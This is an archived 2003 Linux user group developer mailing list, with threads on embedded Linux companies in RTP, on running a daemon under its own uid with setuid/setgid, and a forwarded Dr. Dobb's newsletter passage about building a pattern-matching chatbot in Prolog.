------=_NextPart_000_0263_01C36023.6C2AC510 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is this list alive or am I just not = receiving any=20 posts?
 
Does anyone know of any RTP companies = that are into=20 embedded linux? I've heard Tekelec as one, but no others. It seems odd = that=20 there is a lot of hoopla in tech circles about embedded linux as a core = platform=20 going forward, but I see no evidence of it being used in RTP - what=20 gives?
 
Regards,
 
Brian
------=_NextPart_000_0263_01C36023.6C2AC510-- From s_l@mindspring.com Mon Aug 11 16:17:51 2003 Return-Path: Delivered-To: dev@trilug.org Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by moya.trilug.org (Postfix) with ESMTP id A1BAAA021E for ; Mon, 11 Aug 2003 16:17:51 -0400 (EDT) Received: from user-0c8hpp4.cable.mindspring.com ([24.136.231.36] helo=PORTHOS) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 19mJ71-0006eV-00 for dev@trilug.org; Mon, 11 Aug 2003 16:17:51 -0400 From: "Scott Lundgren" To: "Discussion of scripts, programs, and development" Subject: RE: [Dev] Is this list alive? Date: Mon, 11 Aug 2003 16:17:35 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <026601c36044$f39e3420$6601a8c0@brianslaptopa> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: s_l@mindspring.com, "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Aug 2003 20:17:51 -0000 Pong to your ping. The list works, though I think this is the first time I've gotten message on it. - SL From bauld@nc.rr.com Mon Aug 11 16:18:16 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-03.southeast.rr.com (ms-smtp-03.southeast.rr.com [24.93.67.84]) by moya.trilug.org (Postfix) with ESMTP id 6FA2EA021E for ; Mon, 11 Aug 2003 16:18:16 -0400 (EDT) Received: from brianslaptopa (cpe-024-211-175-070.nc.rr.com [24.211.175.70]) by ms-smtp-03.southeast.rr.com (8.12.5/8.12.2) with SMTP id h7BKGGaQ005989 for ; Mon, 11 Aug 2003 16:16:16 -0400 (EDT) Message-ID: <027101c36045$b20c5b30$6601a8c0@brianslaptopa> From: "Brian Auld" To: Date: Mon, 11 Aug 2003 16:18:14 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [Dev] Let me try that again in text format (sorry) - Is this list alive? X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Aug 2003 20:18:16 -0000 I'm trying to send this from an outlook mail client without 1000 character long lines. If there's no change, my apologies... Brian ----- Original Message ----- From: Brian Auld To: dev@trilug.org Sent: Monday, August 11, 2003 4:12 PM Subject: Is this list alive? Is this list alive or am I just not receiving any posts? Does anyone know of any RTP companies that are into embedded linux? I've heard Tekelec as one, but no others. It seems odd that there is a lot of hoopla in tech circles about embedded linux as a core platform going forward, but I see no evidence of it being used in RTP - what gives? Regards, Brian From ranger@befunk.com Mon Aug 11 16:33:21 2003 Return-Path: Delivered-To: dev@trilug.org Received: from mail.scenespot.org (dsl093-240-084.ral1.dsl.speakeasy.net [66.93.240.84]) by moya.trilug.org (Postfix) with ESMTP id 03719A022D for ; Mon, 11 Aug 2003 16:33:21 -0400 (EDT) Received: from befunk.com (65-86-121-50.client.dsl.net [65.86.121.50]) by mail.scenespot.org (Postfix) with ESMTP id 0836A144001C for ; Mon, 11 Aug 2003 16:33:20 -0400 (EDT) Mime-Version: 1.0 (Apple Message framework v582) In-Reply-To: <027101c36045$b20c5b30$6601a8c0@brianslaptopa> References: <027101c36045$b20c5b30$6601a8c0@brianslaptopa> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <0ADE062D-CC3B-11D7-A4BA-000A95684E70@befunk.com> Content-Transfer-Encoding: 7bit From: Benjamin Reed Subject: Re: [Dev] Let me try that again in text format (sorry) - Is this list alive? Date: Mon, 11 Aug 2003 16:33:18 -0400 To: "Discussion of scripts, programs, and development" X-Mailer: Apple Mail (2.582) X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Aug 2003 20:33:21 -0000 On Monday, August 11, 2003, at 4:18PM, Brian Auld wrote: > Is this list alive or am I just not receiving any posts? > > Does anyone know of any RTP companies that are into embedded linux? > I've > heard Tekelec as one, but no others. It seems odd that there is a lot > of > hoopla in tech circles about embedded linux as a core platform going > forward, but I see no evidence of it being used in RTP - what gives? We use linux in our appliances at Oculan. I know Blast out in Pittsboro (the place Tarus Balog works for) does embedded stuff as well. I'm sure there's got to be others, too... -- We put a lot of thought into our defaults. We like them. If we didn't, we would have made something else be the default. So keep your cotton-pickin' hands off our defaults. Don't touch. Consider them mandatory. "Mandatory defaults" has a nice ring to it. From johndavi@us.ibm.com Mon Aug 11 17:14:56 2003 Return-Path: Delivered-To: dev@trilug.org Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id AB2F3A0224 for ; Mon, 11 Aug 2003 17:14:56 -0400 (EDT) Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h7BLEpc8232076 for ; Mon, 11 Aug 2003 17:14:51 -0400 Received: from d03nm113.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.5) with ESMTP id h7BLEnsR133500 for ; Mon, 11 Aug 2003 15:14:49 -0600 Subject: Re: [Dev] Is this list alive? To: "Discussion of scripts, programs, and development" X-Mailer: Lotus Notes Release 5.0.11 July 24, 2002 Message-ID: From: John F Davis Date: Mon, 11 Aug 2003 17:15:40 -0400 X-MIMETrack: Serialize by Router on D03NM113/03/M/IBM(Release 6.0.1 [IBM]|June 10, 2003) at 08/11/2003 15:14:50 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: quoted-printable X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Aug 2003 21:14:57 -0000 IBM use embedded linux. JD |---------+----------------------------> | | "Brian Auld" | | | | | | Sent by: | | | dev-bounces@trilu| | | g.org | | | | | | | | | 08/11/2003 04:12 | | | PM | | | Please respond to| | | "Discussion of | | | scripts, | | | programs, and | | | development" | | | | |---------+----------------------------> >--------------------------------------------------------------------= ----------------------------------------------------------| | = | | To: = | | cc: = | | Subject: [Dev] Is this list alive? = | | = | >--------------------------------------------------------------------= ----------------------------------------------------------| Is this list alive or am I just not receiving any posts? Does anyone know of any RTP companies that are into embedded linux? I'= ve heard Tekelec as one, but no others. It seems odd that there is a lot = of hoopla in tech circles about embedded linux as a core platform going forward, but I see no evidence of it being used in RTP - what gives? Regards, Brian _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev = From lovelace@wayfarer.org Mon Aug 11 17:20:15 2003 Return-Path: Delivered-To: dev@trilug.org Received: from wayfarer.org (65-86-121-50.client.dsl.net [65.86.121.50]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id DA2F0A0224 for ; Mon, 11 Aug 2003 17:20:14 -0400 (EDT) Message-ID: <3F38087F.7080103@wayfarer.org> Date: Mon, 11 Aug 2003 17:19:59 -0400 From: Tanner Lovelace User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030727 Thunderbird/0.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Discussion of scripts, programs, and development" Subject: Re: [Dev] Is this list alive? References: <026601c36044$f39e3420$6601a8c0@brianslaptopa> In-Reply-To: <026601c36044$f39e3420$6601a8c0@brianslaptopa> X-Enigmail-Version: 0.81.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigCB0BC14BBCF773704EC05E9E" X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 11 Aug 2003 21:20:15 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigCB0BC14BBCF773704EC05E9E Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Brian Auld wrote: > Is this list alive or am I just not receiving any posts? > > Does anyone know of any RTP companies that are into embedded linux? I've > heard Tekelec as one, but no others. It seems odd that there is a lot of > hoopla in tech circles about embedded linux as a core platform going > forward, but I see no evidence of it being used in RTP - what gives? > > Regards, > > Brian I think there is a company called Blast in Chatham county that does embedded linux. See http://www.whitedwarflinux.org/ for more information. You might also check out uClibc (http://www.uclibc.org which seems to be down now, so ymmv). Tanner -- Tanner Lovelace | lovelace(at)wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- "What is this talk of "release?" We do not make software "releases." Our software "escapes" leaving a bloody trail of designers and quality assurance people in its wake." - MoncriefJM@gvl.esys.com --------------enigCB0BC14BBCF773704EC05E9E Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQE/OAiMzglPjt52OdQRArdxAJ96O5Bsb0hiyYjVndrNtuuxZvpXFwCgtdRF 5mA+VZ3W6CW8U62pKxQUjD4= =8A+H -----END PGP SIGNATURE----- --------------enigCB0BC14BBCF773704EC05E9E-- From petelong@petelong.com Wed Aug 13 10:19:47 2003 Return-Path: Delivered-To: dev@trilug.org Received: from albert.petelong.com (rdu25-12-028.nc.rr.com [24.25.12.28]) by moya.trilug.org (Postfix) with ESMTP id C7575A002C for ; Wed, 13 Aug 2003 10:19:47 -0400 (EDT) Received: by albert.petelong.com (Postfix, from userid 48) id 118FD3BE35; Wed, 13 Aug 2003 10:22:52 -0400 (EDT) Received: from 129.42.208.140 (SquirrelMail authenticated user petelong) by www.petelong.com with HTTP; Wed, 13 Aug 2003 10:22:52 -0400 (EDT) Message-ID: <64147.129.42.208.140.1060784572.squirrel@www.petelong.com> Date: Wed, 13 Aug 2003 10:22:52 -0400 (EDT) From: "Peter Long" To: X-Priority: 3 Importance: Normal X-Mailer: SquirrelMail (version 1.2.11) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] setuid question X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 13 Aug 2003 14:19:48 -0000 Hi all, I am trying to setup a daemon that I wrote so that it runs under its own userid (with restricted privileges). I also want to create a user group that has permission to start and stop the daemon. I tried using 'chmod 6550' to set the uid and gid bits. This results in the effective user id and group id being set appropriately. However the real user id and group id is still the same as that of the user that started the daemon. Consequently only that user can send a SIGTERM signal to the process. I know that this must be something that has been done before and that there is a right way and a wrong way to do it. I am most likely doing it the wrong way. Any pointers in the right direction would be appreciated. -- Peter Long From jonc@nc.rr.com Wed Aug 13 10:48:49 2003 Return-Path: Delivered-To: dev@trilug.org Received: from ms-smtp-01.southeast.rr.com (ms-smtp-01.southeast.rr.com [24.93.67.82]) by moya.trilug.org (Postfix) with ESMTP id E26EFA002C for ; Wed, 13 Aug 2003 10:48:48 -0400 (EDT) Received: from [192.168.1.24] (rdu57-31-133.nc.rr.com [66.57.31.133]) by ms-smtp-01.southeast.rr.com (8.12.5/8.12.2) with ESMTP id h7DEg6Tf006948 for ; Wed, 13 Aug 2003 10:42:06 -0400 (EDT) Subject: Re: [Dev] setuid question From: Jon Carnes To: Discussion "of scripts, programs, " and development In-Reply-To: <64147.129.42.208.140.1060784572.squirrel@www.petelong.com> References: <64147.129.42.208.140.1060784572.squirrel@www.petelong.com> Content-Type: text/plain Organization: Anncons Message-Id: <1060786128.2624.32.camel@Anncons4> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Content-Transfer-Encoding: 7bit X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: jonc@nc.rr.com, "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Date: Wed, 13 Aug 2003 14:48:49 -0000 X-Original-Date: 13 Aug 2003 10:48:48 -0400 X-List-Received-Date: Wed, 13 Aug 2003 14:48:49 -0000 I'm sure you will get a better answer from someone, but when I write a small stand-alone program and I want it to execute as the user (owner) then use the setUID bit. When I'm programming in Python I use something like: import os def check_privs(): # If we're running as root (uid == 0), then set the uid and gid # to configured values gid = grp.getgrnam(Prog_cfg.PROG_GROUP)[2] uid = pwd.getpwnam(Prog_cfg.PROG_USER)[2] myuid = os.getuid() if myuid == 0: os.setgid(gid) os.setuid(uid) elif myuid <> uid: name = Prog_cfg.PROG_USER usage(1, _( 'Run this program as root or as the %(name)s user.')) Hope this is helpful! Jon Carnes On Wed, 2003-08-13 at 10:22, Peter Long wrote: > Hi all, > > I am trying to setup a daemon that I wrote so that it runs under its own > userid (with restricted privileges). I also want to create a user group > that has permission to start and stop the daemon. > > I tried using 'chmod 6550' to set the uid and gid bits. This results in > the effective user id and group id being set appropriately. However the > real user id and group id is still the same as that of the user that > started the daemon. Consequently only that user can send a SIGTERM signal > to the process. > > I know that this must be something that has been done before and that > there is a right way and a wrong way to do it. I am most likely doing it > the wrong way. > > Any pointers in the right direction would be appreciated. > > -- > Peter Long > > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From s_l@mindspring.com Wed Aug 13 11:51:56 2003 Return-Path: Delivered-To: dev@trilug.org Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by moya.trilug.org (Postfix) with ESMTP id 4923DA002C for ; Wed, 13 Aug 2003 11:51:56 -0400 (EDT) Received: from user-0c8hpp4.cable.mindspring.com ([24.136.231.36] helo=PORTHOS) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 19mxul-0003gI-00 for dev@trilug.org; Wed, 13 Aug 2003 11:51:55 -0400 From: "Scott Lundgren" To: "Discussion of scripts, programs, and development" Subject: RE: [Dev] setuid question Date: Wed, 13 Aug 2003 11:51:55 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <64147.129.42.208.140.1060784572.squirrel@www.petelong.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: s_l@mindspring.com, "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 13 Aug 2003 15:51:56 -0000 >I know that this must be something that has been done before and that >there is a right way and a wrong way to do it. I am most likely doing it >the wrong way. > >Any pointers in the right direction would be appreciated. Since you've created a user and a group to run the daemon, and you want that user to own the process why not look at how the /etc/rc.d/init.d scripts are written ? From petelong@petelong.com Thu Aug 14 10:45:12 2003 Return-Path: Delivered-To: dev@trilug.org Received: from albert.petelong.com (rdu25-12-028.nc.rr.com [24.25.12.28]) by moya.trilug.org (Postfix) with ESMTP id F2E51A022A for ; Thu, 14 Aug 2003 10:45:11 -0400 (EDT) Received: by albert.petelong.com (Postfix, from userid 48) id CA6313BE35; Thu, 14 Aug 2003 10:48:26 -0400 (EDT) Received: from 32.97.110.72 (SquirrelMail authenticated user petelong) by www.petelong.com with HTTP; Thu, 14 Aug 2003 10:48:26 -0400 (EDT) Message-ID: <53741.32.97.110.72.1060872506.squirrel@www.petelong.com> Date: Thu, 14 Aug 2003 10:48:26 -0400 (EDT) Subject: RE: [Dev] setuid question From: "Peter Long" To: In-Reply-To: References: <64147.129.42.208.140.1060784572.squirrel@www.petelong.com> X-Priority: 3 Importance: Normal X-Mailer: SquirrelMail (version 1.2.11) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 14 Aug 2003 14:45:12 -0000 Scott Lundgren said: > > >>I know that this must be something that has been done before and that >> there is a right way and a wrong way to do it. I am most likely doing >> it the wrong way. >> >>Any pointers in the right direction would be appreciated. > > Since you've created a user and a group to run the daemon, and you want > that user to own the process why not look at how the /etc/rc.d/init.d > scripts are written ? Scott and Jon, Thanks for the help. Not surprisingly there seems to be several ways to do this. Also it seems that I cannot do exactly what I was hoping to do. Which was to allow anyone in a particular group to kill the process. I will have to beg the administrator to give us sudo rights to kill it. Jon, is there any particular advantage to using setuid() in the code versus using chmod 6xxx on the binary? It seems to result in the same thing. -- Peter Long From lovelace@wayfarer.org Fri Sep 12 23:59:47 2003 Return-Path: X-Original-To: dev@trilug.org Delivered-To: dev@trilug.org Received: from wayfarer.org (rrcs-midsouth-24-172-56-11.biz.rr.com [24.172.56.11]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by moya.trilug.org (Postfix) with ESMTP id C9087A0003 for ; Fri, 12 Sep 2003 23:59:45 -0400 (EDT) Message-ID: <3F62962E.1040702@wayfarer.org> Date: Fri, 12 Sep 2003 23:59:43 -0400 From: Tanner Lovelace User-Agent: Mozilla/5.0 Thunderbird X-Accept-Language: en-us, en MIME-Version: 1.0 To: dev@trilug.org X-Enigmail-Version: 0.81.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [Dev] Chatbots in Prolog X-BeenThere: dev@trilug.org X-Mailman-Version: 2.1.2 Precedence: list Reply-To: "Discussion of scripts, programs, and development" List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Sep 2003 03:59:47 -0000 I don't normally forward entire newsletters, but this one was interesting enough given the fact that we basically have a chatbot on the irc channel right now. It might be interesting to experiment with a prolog based chatbot sometime. O:-) Might be an interesting way to learn prolog for those that don't know it already. :-) Cheers, Tanner -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- This would be a very good time to hang out with the Open Source people, before they get formally reclassified as a national security threat. -- Bruce Sterling -------- Original Message -------- Subject: Dr. Dobb's AI Expert Newsletter - 9/12/03 Date: Fri, 12 Sep 2003 16:00:00 -0700 From: Dr. Dobb's AI Expert Newsletter ============================================= Dr. Dobb's AI Expert Newsletter Issue #11 - September 2003 ============================================= ------------------------------------------------------------------------- *ADVERTISEMENT* Ever wondered what people do with Prolog? Check out: http://www.lpa.co.uk/ ------------------------------------------------------------------------- By Dennis Merritt Dr. Dobb's AI Expert Newsletter 'AI - The art and science of making computers do interesting things that are not in their nature.' ------------------------------------------------------------------------- --Writing a Chat Bot --Building an Ontology --Chatting with an Ontology --Conferences --Links I've been meaning to add code corners to the last few newsletters but haven't found the time. So this newsletter will be all about building the types of AI systems discussed in the last few issues. In other words, this is an issue for those who want to roll up their sleeves and create their own AI systems. The two types of AI application studied are chat bots and ontologies. July 2003 newsletter - chat bots: http://www.ainewsletter.com/newsletters/aix_0307.htm June 2003 newsletter - ontologies: http://www.ainewsletter.com/newsletters/aix_0306.htm Both are perfect examples of the ideas expressed in the first newsletter about AI applications in general. Both require a knowledge representation language and a reasoning engine that knows how to apply that knowledge. November 2002: http://www.ainewsletter.com/newsletters/aix_0211.htm In the case of chat bots, the knowledge is patterns of inputs and responses that drive a dialog. In the case of ontologies, the knowledge is relationships and attributes of words and concepts. A chat bot tool provides a way to represent the knowledge and a way to deploy it. An ontology tool does the same. There are chat bot and ontology tools available, and good ones at that, but they suffer the problems of all AI tools. They make assumptions about how and what types of knowledge can be represented, and further, on how that knowledge is deployed. If the assumptions fit an application area, that's great. But if not... Well that's a very practical line of thought. The simple truth is, it's a lot more fun to play with your own knowledge representation and reasoning engine, and you can get it to do exactly what you want. The programs can be written in any programming language, but we'll use Prolog in the newsletter because it is particularly versatile for a rapid prototyping and experimentation approach to AI concepts, as well as being very compact and fitting better in a newsletter. Logic programs have the added benefit that they read much like program specifications and can be used for the design of applications intended for implementation in other languages. So if you don't like Prolog, read along and code in Lisp, Mozart, Java or the language of your choice. For those who don't know Prolog, there are boxes with explanatory notes. One final note. Design decisions for the programs were always made in favor of clarity, sometimes at the expense of performance, although this will not be an issue until the knowledge base for either program grows to a large size. As always I like to read your feedback, and for any who request it I can e-mail back the source code developed in this article. dennis@ddj.com ------------------------------------------ Chat Bot Chat bot is the generic name for programs derived from Weizenbaum's original Eliza program, which mimicked a therapist. Eliza was written almost as a joke, to show how mindless pattern-matching rules can be used to generate realistic conversations, thus proving the software was NOT intelligent. Yet chat bots have come closer to passing the Turing test than other types of programs, and Richard Wallace hypothesizes that that is because much human dialog is, in fact, mindless pattern-matching. ------------------------------------------ Pronoun Reversal One of the main insights in Eliza was how much can be done simply by changing the grammatical person of a sentence, like 'I' to 'you' and 'mine' to 'yours'. This is called pronoun reversal. We'll start with a very simple, and extremely annoying chat bot that does only that, and adds a question mark at the end. To represent the knowledge of which words to reverse, we'll use Prolog facts, which are logically the same as relations in a relational database. Here are the few we'll use for testing, in a relation call 'me_you/2', the /2 indicating there are two arguments. me_you(me,you). me_you(i,you). me_you(my,your). me_you(am,are). The choice of the me_you/2 predicate was the first design decision about knowledge representation. ------------------------------------------ Input/Output The reasoning engine needs an interface to the user or caller. For the chat bot all that is required is a predicate (like a function) that takes an input string of user text and puts out a response string. A predicate 'respond' with two arguments, the input and the response, provides that service. It is referred to in Prolog as 'respond/2.' Any application that can call Prolog could be used to provide the dialog interface with the user, and Prolog is certainly a language that can call Prolog. Here's a simple loop for a console version of the program that can also be run in a Prolog listener (interpreter). main :- write('DDJ AI Expert ChatBot Sample'), nl, repeat, write('> '), read_string(InputString), respond(InputString, ResponseString), write(ResponseString), nl, InputString == `quit`. A Prolog 'logic base', or program, is made up of logical 'clauses' that define 'predicates.' This one is simple. The predicate is called 'main/0' (the /0 indicating no arguments) and has only one clause. After the neck' :-' symbol is a comma-separated list of 'goals', which typically call other predicates. The most important one here is 'respond/2', which will do the real work. Logical variables are indicated by an initial upper case letter, such as 'InputString.' ------------------------------------------ Core Pattern Matcher How should a sentence be represented internally by the program? Thinking of the sentence as a list of words seems like a good starting point. Proceeding in a top-down manner, here is the implementation of 'respond/2.' respond(InputString, ResponseString) :- string_to_list(InputString, InputWordList), swap_person(InputWordList, SwappedWordList), form_response(SwappedWordList, ResponseWordList), list_to_string(ResponseWordList, ResponseString), !. The '!', called 'cut', is used to turn off Prolog's automatic backtracking search for multiple solutions for a given rule. In this case, we only want one response for each user input. The first and last goal of respond/2 perform the service of converting strings to and from lists of words. For experimentation, those steps could be simply eliminated, using lists directly for input and output. For final use, those steps should be quite nice, dealing with punctuation and capitalization. For now, we'll make use of simple built-in predicates that do the conversion for us but require everything in lower case. Later nicer versions of these can be implemented. string_to_list(String, List) :- string_tokens(String, List). list_to_string(List, String) :- stringlist_concat(List, ` `, String). The utility predicates for dealing with strings and lists are not part of the ISO standard for Prolog, so different implementations support different ones. They are all relatively easy to write in Prolog. The two used here, 'string_tokens/2' and 'stringlist_concat/3' are part of Amzi! Prolog. You might have to find equivalents for other Prologs, or simply skip this step and use lists directly for input and output. Next to implement is the real guts of the program where the 'me_you/2' knowledge is applied in the first step of creating a response. Recursion is typically used to process lists in Prolog. The recursive rules to replace the pronouns in a list of words are: 'boundary condition' - The list is empty, we're done. 'recursive condition' - Take the first word in the list and call 'swap_word/2' to see what the replacement word is. Put that word in the output list and recursively call the rest of input list to generate the rest of the output list. swap_person([], []). swap_person([X|Xs], [Y|Ys]) :- swap_word(X,Y), !, swap_person(Xs,Ys). '[H|T]' is Prolog notation for separating a list into its head (first element), and tail (remainder of the list). This allows for the easy writing of recursive rules where some operation is performed on the head, and the tail is then used as the argument to the next recursion. The empty list is represented by [] and usually signifies the boundary condition for a recursion. So, for example, when 'swap_person/2' is called with the input list [i,want,pizza], the pattern [X|Xs] is mapped to it in a process called 'unification.' X becomes i, Xs becomes [want,pizza]. swap_word/2 will unify Y with you and Ys will become what ever is returned by calling 'swap_person/2' with [want,pizza]. The 'swap_word/2' rules look in the knowledge base portion of the program to see if the word is one mentioned in the 'me_you/2' relation. If its not, the word is replaced with itself. swap_word(X,Y) :- me_you(X,Y). swap_word(X,Y) :- me_you(Y,X). swap_word(W,W). One last bit and we're ready to run. We form the response, for now, by simply adding a question mark on the end. form_response(In,Out) :- append(In, [?], Out). 'append/3' is a common list utility in Prolog that appends one list to another. In this case we're adding the list with the single element, ?, to the end of our output list of words. To use a library of common list utilities we need these two lines at the front of the program. We'll use other list utilities later as well. (If you don't have a library, the implementations of various list utility predicates can be readily found and coded directly in the program.) :- load(list). :- import(list). We're now ready to load the program into a Prolog listener and see how it runs. ?- consult(chatbot). yes ?- main. DDJ AI Expert ChatBot Sample > i have problems with my computer you have problems with your computer ? > yes yes ? > will you help me will i help you ? > quit quit ? yes It's already sounding like some people I know. ------------------------------------------ Adding Response Patterns The 'intelligence' of a chat bot lies in the patterns it is told to recognize. Lists of words and variables can represent a pattern to look for, and lists that have those same variables in them can be used for various possible responses. There are two types of logical variables in Prolog. Named ones, beginning with an upper case letter, and anonymous ones, represented by an underscore. The named variables can be used to echo parts of the input back, and anonymous ones for indicating we don't care about parts of the input. Here are two responses for any input that has the adjacent words 'blue screen' in it. response( [_,blue,screen,_], [ [why,do,you,use,windows,?], [wipe,your,computer,clean,and,install,linux,'.'] ]). Here's a response pattern for any input with the word 'linux' in it. response( [_,linux,_], [ [nobody,supports,linux,'.'] ]). That should drive them nuts. Here are a few more response patterns that might come in handy to keep the conversation going. The last one is a catch-all that is used if none of the other patterns match. It does the job of echoing the input with a question mark. Remember that the input word lists have already had the pronouns swapped before they are used in these patterns. response( [yes,_], [ [why,?] ]). response( [no,_], [ [why,not,?] ]). response( [_,you,like,X], [ [how,can,you,like,X,?], [is,it,strange,to,like,X,?] ]). response( [_,want,to,X], [ [why,would,you,want,to,X,?], [you,can,not,X,'.'], [is,it,dangerous,to,X,?] ]).response( [X], [ [X,?] ]). When a named variable appears multiple times in a rule, like X in the above patterns gets a value, all occurrences of X automatically have the same value. So when the pattern matcher we will write determines a value of X from the input pattern, then that value will be echoed in the output patterns. Before looking at the code, here's how these response rules will drive a dialog with the chat bot. ?- main. DDJ AI Expert ChatBot Sample > i get a blue screen on my computer wipe your computer clean and install linux . > ok, i did that but now i cannot get linux to work. nobody supports linux . When there are multiple response patterns to pick from, the engine will pick one at random. Here's another run with the same rules, but a different result. > i get a blue screen on my computer why do you use windows ? > i like the windows operating system is it strange to like the windows operating system ? > no why not ? > lots of people like windows lots of people like windows ? > yes why ? > it is easy to use it is easy to use ? 'The Response Pattern Matcher' The tricky part of the pattern matcher is setting a variable to possibly multiple words in the input. For example, in the response pattern [_,want,to,X] X might match a phrase. That phrase is best represented as a list of words as well, so we will have an output list with embedded lists in it. A list utility, 'flatten/2', will fix that problem. For example if the input is [i,want,to,learn,to,fly] X will be bound to [learn,to,fly] and the outputs will look like 